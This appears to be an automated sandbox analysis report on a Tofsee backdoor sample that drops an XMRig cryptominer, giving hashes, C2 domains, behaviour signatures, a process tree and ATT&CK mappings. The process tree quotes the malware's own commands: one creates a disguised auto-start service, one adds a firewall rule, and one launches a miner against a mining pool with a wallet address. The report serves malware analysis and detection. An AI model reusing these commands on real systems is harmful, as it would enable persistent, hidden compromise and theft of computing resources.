Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 08:20

General

  • Target

    cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4.exe

  • Size

    262KB

  • MD5

    17fe390989a63f4ad0d9ea1895076223

  • SHA1

    ef903729438aa57f7c36f098c9c449bc0d2da1c7

  • SHA256

    cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4

  • SHA512

    79b72d5bca272004bacfa10a845a85aeba2ec093d57e002a96c0fcc60469218457b06e2ab3e97e5ba49a5118e7a079172f26f59de83154c6e98d02a93e2dd226

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4.exe
    "C:\Users\Admin\AppData\Local\Temp\cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qehixeyj\
      2⤵
        PID:3844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uvmgtzhk.exe" C:\Windows\SysWOW64\qehixeyj\
        2⤵
          PID:1600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qehixeyj binPath= "C:\Windows\SysWOW64\qehixeyj\uvmgtzhk.exe /d\"C:\Users\Admin\AppData\Local\Temp\cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qehixeyj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qehixeyj
          2⤵
          • Launches sc.exe
          PID:3172
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1048
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1588 -s 1040
          2⤵
          • Program crash
          PID:3772
      • C:\Windows\SysWOW64\qehixeyj\uvmgtzhk.exe
        C:\Windows\SysWOW64\qehixeyj\uvmgtzhk.exe /d"C:\Users\Admin\AppData\Local\Temp\cfddf92619885839b81bbbee57e59eafc0b2dd6a07074ebca1330a829005cac4.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1464
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:988
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1948 -s 512
          2⤵
          • Program crash
          PID:1844
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1588 -ip 1588
        1⤵
          PID:1104
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1948 -ip 1948
          1⤵
            PID:3472

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\uvmgtzhk.exe
            Filesize

            14.1MB

            MD5

            527614f0aaba3cd58b832c9e5690136b

            SHA1

            dc9517817abac6f6a443b89b69b2df5dc1737a6c

            SHA256

            f0d990d289dc97bca0914b0765d903fc8aa9bc82f074dcd0cece8d850edad8d4

            SHA512

            a9d4440b8aebcdd8bb2773d4865198f70fed10c80f18c8eae3a5bcc753d5eac85b8d2c70441b356c1c1e223cfa0da16d9e2f9354415e071bf7288cf2af19b8d4

          • C:\Windows\SysWOW64\qehixeyj\uvmgtzhk.exe
            Filesize

            14.1MB

            MD5

            527614f0aaba3cd58b832c9e5690136b

            SHA1

            dc9517817abac6f6a443b89b69b2df5dc1737a6c

            SHA256

            f0d990d289dc97bca0914b0765d903fc8aa9bc82f074dcd0cece8d850edad8d4

            SHA512

            a9d4440b8aebcdd8bb2773d4865198f70fed10c80f18c8eae3a5bcc753d5eac85b8d2c70441b356c1c1e223cfa0da16d9e2f9354415e071bf7288cf2af19b8d4

          • memory/592-136-0x0000000000000000-mapping.dmp
          • memory/988-175-0x0000000000420000-0x0000000000511000-memory.dmp
            Filesize

            964KB

          • memory/988-171-0x0000000000420000-0x0000000000511000-memory.dmp
            Filesize

            964KB

          • memory/988-170-0x0000000000421000-0x00000000004F2000-memory.dmp
            Filesize

            836KB

          • memory/988-169-0x0000000000000000-mapping.dmp
          • memory/1048-140-0x0000000000000000-mapping.dmp
          • memory/1464-157-0x0000000002720000-0x0000000002730000-memory.dmp
            Filesize

            64KB

          • memory/1464-151-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/1464-166-0x0000000007950000-0x0000000007957000-memory.dmp
            Filesize

            28KB

          • memory/1464-163-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/1464-160-0x00000000029F0000-0x00000000029F5000-memory.dmp
            Filesize

            20KB

          • memory/1464-143-0x0000000000000000-mapping.dmp
          • memory/1464-144-0x0000000000880000-0x0000000000895000-memory.dmp
            Filesize

            84KB

          • memory/1464-154-0x0000000002710000-0x0000000002716000-memory.dmp
            Filesize

            24KB

          • memory/1464-148-0x0000000000880000-0x0000000000895000-memory.dmp
            Filesize

            84KB

          • memory/1464-150-0x0000000000880000-0x0000000000895000-memory.dmp
            Filesize

            84KB

          • memory/1588-130-0x0000000002F02000-0x0000000002F12000-memory.dmp
            Filesize

            64KB

          • memory/1588-142-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/1588-141-0x0000000002F02000-0x0000000002F12000-memory.dmp
            Filesize

            64KB

          • memory/1588-133-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/1588-131-0x00000000049D0000-0x00000000049E3000-memory.dmp
            Filesize

            76KB

          • memory/1600-134-0x0000000000000000-mapping.dmp
          • memory/1948-149-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/1948-147-0x0000000002F1E000-0x0000000002F2E000-memory.dmp
            Filesize

            64KB

          • memory/2900-137-0x0000000000000000-mapping.dmp
          • memory/3172-138-0x0000000000000000-mapping.dmp
          • memory/3844-132-0x0000000000000000-mapping.dmp